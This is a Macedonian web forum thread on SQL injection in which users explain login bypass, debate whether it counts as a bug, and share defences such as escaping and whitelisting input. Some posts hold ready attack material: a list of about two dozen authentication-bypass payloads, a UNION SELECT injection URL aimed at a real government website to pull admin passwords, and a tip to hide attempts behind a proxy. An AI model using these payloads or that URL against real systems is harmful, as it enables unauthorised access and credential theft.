Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!
  • Важно
    Имате проблем со најава или регистрација на it.mk?
    Побарајте го решението на вашиот проблем ТУКА!

SQL Напади

  • Ја почнал/а темата Ata
  • Време на почнување

Ata

Intern
21 април 2007
418
15
SQL нападите главно се базираат на измами при формирањето на SQL прашањата. Притоа тие начесто се изведуваат преку веб. Има доста веб сајтови на кои за да пристапите до одреден дел или област на сајтот треба да внесете корисничко име и лозика, а за да се регистрирате треба да платите одредена сума на пари, под претпоставка дека делот во кој ќе ви биде дозволен пристап содржи важни и корисни инормации.

Главно вака би изгледало едно регуларно најавување:
1. Доаќате до веб сајтот каде што треба да ги внесете вашето корисничко име и лознка.
2. Вие внесувате:

User=Ajet
Pass=MyPass

3. Внесените податоци потоа се праќаат до Веб серверот со кои потоа се прави SQL прашање од типот:

"SELECT * FROM tblCustomers WHERE USER='Ajet' and PASS='MyPass'"

4. Базата враќа резултат кој се користи во алгоритмот кој се користи за да се определи дали да ви се дозволи пристап. Потоа на корисникот или му е дозволен пристап(ако е пронајден резултатот) или се праќа поново во делот за логирање(ако резултатот не е пронајден).


И сето ова изгледа супер, меќутоа едно најавување може да изгледа и вака:

1. Доаќате до веб сајтот каде што треба да ги внесете вашето корисничко име и лознка.
2. Вие внесувате:

User=' or ''
Pass=' or ''

3. Внесените податоци потоа се праќаат до Веб серверот со кои потоа се прави SQL прашање од типот:

"SELECT * FROM tblCustomers WHERE USER='' or '' and PASS=''or ''

4. Базата враќа резултат кој се користи во алгоритмот кој се користи за да се определи дали да ви се дозволи пристап. Потоа на корисникот или му е дозволен пристап( ако е пронајден резултатот) или се праќа поново во делот за логирање(ако резултатот не е пронајден). Меѓутоа во овој случај пристапот сигурно ќе ви биде дозволен, затоа што базата ќе врати листа на сите корисници.

Сепал постои решение и на овој напад (измама), со тоа што ќе се оневозможи внесување на знакот „ ' “ во полето за најавување.

Но ова е само еден пример. Идејата не беше дали може да се изведе секаде или не, пошто идејата на целата оваа дискусија не е некој да се охрабри да прави такви работи туку да се запознае со одредени техники и методи кои ги користат хакерите, за подобро да се заштити себеси и компанијата во која равоти.

Има многу вакви поопасни напади со помош на користење на трикови при креирање на SQL прашањата. Па така може да се внесуваат цели табели, вредности, да се апдејтираат полиња и редици во табелите, да се бришат и што уште не.
 

nozo

Intern
9 април 2007
85
4
www.feitfun.com.mk
Ова со ' or '' успева само доколку е аматерски правена базата за регистрација.Иначе тие малце повеќе што се разбираат додоаваат неколку реда код и се игнорираат наводниците како дел од кодот т.е. ги зима како стринг.
 

Ata

Intern
21 април 2007
418
15
Ова со ' or '' успева само доколку е аматерски правена базата за регистрација.Иначе тие малце повеќе што се разбираат додоаваат неколку реда код и се игнорираат наводниците како дел од кодот т.е. ги зима како стринг.

Abe normalno nekoj sto apsika si ja znae rabotata sigurno ke go znae i ova, ako e profesionalec. Ama kolku ima web strani na internet sto se praveni od srednoskolci, ili amateri sto zele knigice "HTML za turbo tapcovci".
 

_EAX

Intern
17 август 2007
827
6
www.rutix.byethost17.com
хаха не се багови??? а што се ако не се багови, те молам прогуглај и прочитај на нет.
или ај еве нека бидат експлоити ако сакаш :)
овие ствари што ги напишал АТА се поправени односно не работат веке, нормално дека има нови кои работат, но ретко некој да ги знае.
 

nozo

Intern
9 април 2007
85
4
www.feitfun.com.mk
Според мене тоа би било баг доколку е невозможно да се направи од страната на програмерот (што ја прави формата за регистрација) да работи како што треба.А од незнаење ако направиш пропусти и друг ги искористи тие неможеш да речеш дека тоа е баг.
 

Ata

Intern
21 април 2007
418
15
Toa sto go pisav e samo eden banalen primer, na napad. Toj mi tekna vo momentot i toj go pisav. Poentata mi bese da se vidi, deka napadite ne se kojznae sto, moze i obicna glupa programerska greska, neznaeje , provid, da se isoristi.

Uopste ne se slagam deka toa e bag. So samoto guglanje na google, ne se stanuva ucen. Ako znaes ne znaci deka razbiras. Sekoj budala moze da znae, no samo genijalecot razbira.
 

_EAX

Intern
17 август 2007
827
6
www.rutix.byethost17.com
Според мене тоа би било баг доколку е невозможно да се направи од страната на програмерот (што ја прави формата за регистрација) да работи како што треба.А од незнаење ако направиш пропусти и друг ги искористи тие неможеш да речеш дека тоа е баг.

druze, greska e od strana na tie sto ja izmislislile php "compajlerot"....taka sto bilo kakov mysql statement napisan vo textbox ne treba da go prima, odnosno textboksot ne treba da prima nikakvi mysql parametri, zatoa sega toj problem e popraven, sekakov vid na mysql statement sto e napisan vo html textbox, kompajlerot go ignorira, taka da tie finti ne postojat....znaci sepak e bug.......novata sema ja pravat preku samiot browser, ondosno preku address barot......tocno e toa deka za da napravis edna zastitena web strana zavisi od samiot programer, t.e nacinot na koj ke ja isprogramira....ama toa nema nikakva vrska so ova sto go zborime.....
 

ac1d

Intern
24 септември 2008
410
14
Sekogas e do programerot sto ja pravi stranata i site haknati strani ili probieni sistemi se radi covecka greska kompjuterot raboti na nacin kako sto ke go "nauci" coekot taka da nemozes da obvinis za neso deka kompjuterot e kriv a inace za ova so zborime toa ne e bug toa se komandi so koj se probuva da se zbuni bazata na podatoci primer:

1 'or' 2 '=' 1

ako go pisam ja ova za password kompjuterot go razbira kako logicka operacija 1 ili 2 = 1 sto e tocno logicki/matematicki gledano bidejki koga koristime ILI dovolno e eden od uslovite da e tocen za celiot izraz da e tocen toa znaci deka kompjuterot ova go presmetuva kako tocno i dava povratna informacija odnosno te pusta da vlezes mislejki deka si gi zadovolil site uslovi no so sreduvanje na kodot ova moze da se sredi taka da _EAX sepak zavisi toa od samiot programer i ima vrska so toa so go zborime :)
 

vasildb

Intern
17 април 2007
209
6
Оо, по цела година.

Еве една конкретна функција за превентива, ги игнорира опасните карактери
mysql_escape_string();

Искористете ја паметно.:))
 

Egz0rtus_X

Intern
26 јуни 2008
35
1
Tрикот со 'or' веќе не работи па ако сакате ставајте и децимални броеви а не 1 или 2.
Пример за SQL инекција во денешно време:

http://www.president.gov.mk/Photo_PRM.asp?PhotoID=1+UNION+SELECT+password+FROM+admin--

Ова е поедноставен тип исто така, бидејќи знаете има повеќе процедури како одредување број на колумни, дали ја прима унион командата и сл.
 

Password

Intern
10 април 2007
393
9
Еве ги сите можни варијации ако не успева 'or'

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a
 

Fiasco

Gaining Experience
2 март 2008
3.036
203
404
www.igorjanevski.com

Blagojce

Gaining Experience
26 декември 2007
916
84
Прилеп
Blagojce's setup  
Processor & Cooler
Intel Core i5-3570 3.40GHz
Storage
2 TB
RAM
8 GB
Monitor
ASUS 24" LED Full HD
OS
Windows 10
Многу се задлабочивте во темава што почнавте да ги откривате user-ите:D. Оваа тема може да биде искористена и од страна на хакерите и од страна на кракерите:D.
 

Delicon

On your way to fame
10 јуни 2007
1.237
748
delicon.mk
Заштита од SQL напади

<?php

// Оваа функција проверува дали внесената вредност се состои само од букви (големи и мали) и броеви
// доколку внесената вредност соджи некои други карактери тогаш најавувањето нема да успее

function proveri($vrednost) {
if (preg_match("/^[a-zA-Z0-9]+$/D", $vrednost)) {
return $vrednost;
}
}

$username = proveri($_POST['username']);
$password = proveri($_POST['password']);


// Доколку се работи за ID (show.php?id=53) тогаш вредноста се конвертира во број
// пример: некој внесува show.php?id=53+union+select+1,2,3,4,login,password,7,8,9+from+members--
// при конвертирањето на вредноста на ID-то во број, вредноста ќе биде само 53

$id = (int)($_GET['id']);

?>
 

bruteforce

Intern
12 април 2010
153
5
а дали можат да откријат дека си пробувал да пишеш такви нешта во полињата за јузер и пасс?
 

CofD

Intern
17 август 2010
259
24
а дали можат да откријат дека си пробувал да пишеш такви нешта во полињата за јузер и пасс?

Аха кракер ке стануваш??? :LOL: Не е така едноставно ама може да се покрие со прокси (нез дали смее да ставам линк) ама пази повеќето такви имаат вирус ама тоа е :D
 

bruteforce

Intern
12 април 2010
153
5
Аха кракер ке стануваш??? :LOL: Не е така едноставно ама може да се покрие со прокси (нез дали смее да ставам линк) ама пази повеќето такви имаат вирус ама тоа е :D

друже, прво не сум од тие типци т.е мали деца заинтересирани за кракинг/хакинг и такви лејмерски ствари јас само поставив прашање на кое ти немораш да одговараш. извини вака ама тоа го сватив како подбивање и навреда:ua::ua:

едит: мене ми збориш за кракери/хакери а тебе професија ти е хакер.:bravo::bravo: делиш совети кои не ги применуваш на себе?? извини те молам:ua::ua:
 

Нови мислења

Последни Теми

Онлајн членови

Статистика

Теми
49.219
Мислења
1.007.924
Членови
36.674
Најнов член
Zl4tk0

ит маркет

На врв Дно